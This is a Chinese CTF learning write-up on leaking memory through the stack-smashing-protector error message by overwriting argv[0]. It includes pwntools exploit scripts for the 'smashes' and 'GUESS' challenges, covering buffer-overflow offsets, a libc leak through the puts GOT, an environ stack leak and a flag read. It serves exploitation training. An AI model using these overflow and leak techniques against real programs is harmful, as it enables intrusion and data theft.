ssp操作

用于开了canary的程序(无法正常爆破canary)就借助这种操作,打印出栈内的字符串
就是通过栈溢出报错信息,泄漏出指定地址的方法:
  stack smashing detected:+argv[0]
如果我们覆盖argv[0],便会输出特定字符串

满足条件为
1、开了canary
2、Flag在程序内

看wiki里的花式栈溢出的时候看到的题(其实我很迷为啥把它放到花式栈溢出里,之后再细细研究吧)

关于stack smash

这个有点开拓我知识面了,对于canary我一直很迷,看到这里才知道canary操作起来是个啥样子的。
Wiki原话:

在程序启动 canary 保护之后,如果发现 canary 被修改的话,程序就会执行?__stack_chk_fail?函数来打印 argv[0] 指针所指向的字符串,正常情况下,这个指针指向了程序名。
代码如下

1
2
3
4
5
6
void __attribute__ ((noreturn)) __stack_chk_fail (void){
__fortify_fail ("stack smashing detected");}void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg){
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");}

所以说如果我们利用栈溢出覆盖 argv[0] 为我们想要输出的字符串的地址,那么在?__fortify_fail?函数中就会输出我们想要的信息

smashes

所以我们要找argv[0]的地址,(因为我们要求的偏移就是argv[0] 距离读取的字符串的偏移)

程序名指向的地址为e159,但是dd98里存放的是指向程序名的地址,所以我们需要的地址为后者
接着在输入的地方下个断点,找上一个rsp作为字符串开始的地址

然后我们就可以算偏移了

所以我们的偏移为0x218

看程序会发现在一个地方会有flag的输出

但是我们看不到flag是什么
最无奈的是我们输入的内容会覆盖整个地址,所以我们没有办法直接读出
我们只能去找另一处的flag地址,这就接触到里另一个新的知识点了:

1
在 ELF 内存映射时,bss 段会被映射两次,所以我们可以使用另一处的地址来进行输出,可以使用 gdb 的 find 来进行查找(pwndbg的话就用search吧)

现在就可以写exp了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

# p = process('./smashes')
p = remote('pwn.jarvisoj.com', 9877)

flag = 0x0400D20

payload = "a"*0x218 + p64(flag)
p.recvuntil('name? ')
p.sendline(payload)
p.recvuntil('flag: ')
p.sendline('CTF')
p.interactive()

这里很坑的就是我找flag是按照程序里给的格式找的,是CTF开头的,但是真正的flag是PCTF(0x600d20那个位置的0x50转字符就是P),所以它的地址得再往前拨一位

GUESS

再来做道GUESS
这题有三次的输入,我们可以通过三次输入实现我们的leak和读取flag,这题和上面那题的思路大概是一致的,都是读取栈上的字符串,而不需要getshell(上面那题是可以知道flag具体存在哪里了,这题需要libc找)

本题思路:

1.泄漏libc的基址
2.泄漏environ的地址(也就是栈的地址)
3.泄漏flag

三次泄漏都用到了上一题说的ssp,就是通过栈溢出报错信息,泄漏出指定地址的方法:stack smashing detected:+argv[0]
如果我们覆盖argv[0],便会输出特定字符串

对environ很迷的我看了一下23R3F大佬的wp,又发现了新的玩意儿(以下来自大佬博客https://www.jianshu.com/p/cc9d09a3f65f):

1
2
3
4
5
在linux应用程序运行时,内存的最高端是环境/参数节(environment/arguments?section)
用来存储系统环境变量的一份复制文件,进程在运行时可能需要。
例如,运行中的进程,可以通过环境变量来访问路径、shell?名称、主机名等信息。
该节是可写的,因此在格式串(format?string)和缓冲区溢出(buffer?overflow)攻击中都可以攻击该节。
*environ指针指向栈地址(环境变量位置),有时它也成为攻击的对象,泄露栈地址,篡改栈空间地址,进而劫持控制流。

好,我们按照刚刚那题的解题步骤,先找argv[0]和字符串开始的地方来计算偏移

算出偏移我们就可以按照思路来写exp了
前面两个part如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
from LibcSearcher import *

p = process('./GUESS')
elf = ELF('./GUESS')
libc = ELF('./libc.so.6')

puts_got = elf.got['puts']

# open_flag = 0x400A9A
# argv = 0x7fffffffdda8
# rsi_addr = 0x7fffffffdc80
# distance = 0x128

payload = "a"*0x128 + p64(puts_got)
p.sendline(payload)
p.recvuntil('stack smashing detected ***: ')
puts_addr = u64(p.recvuntil(' ')[:-1]+'\x00\x00')
# puts_addr = u64(p.recvuntil(' ')[:-1])
print "puts_addr:"+hex(puts_addr)

libc_base = puts_addr - libc.symbols['puts']
environ_addr = libc_base + libc.symbols['_environ']
print "libc_base:"+hex(libc_base)
print "environ:"+hex(environ_addr)

payload = 'a'*0x128 + p64(environ_addr)
p.sendline(payload)
p.recvuntil('stack smashing detected ***: ')
stack_addr = u64(p.recvuntil(' ')[:-1]+'\x00\x00')
# stack_addr = u64(p.recvuntil(' ')[:-1])
print "stack_addr:"+hex(stack_addr)

然后我们要算出buf与environ的差值,使程序跳转到flag的位置

构造最后一步的payload

1
2
payload = 'a'*0x128 + p64(stack_addr-0x168)
p.sendline(payload)

最后效果

其实还是挺迷的,以后碰到题可能还会懵,先记录着吧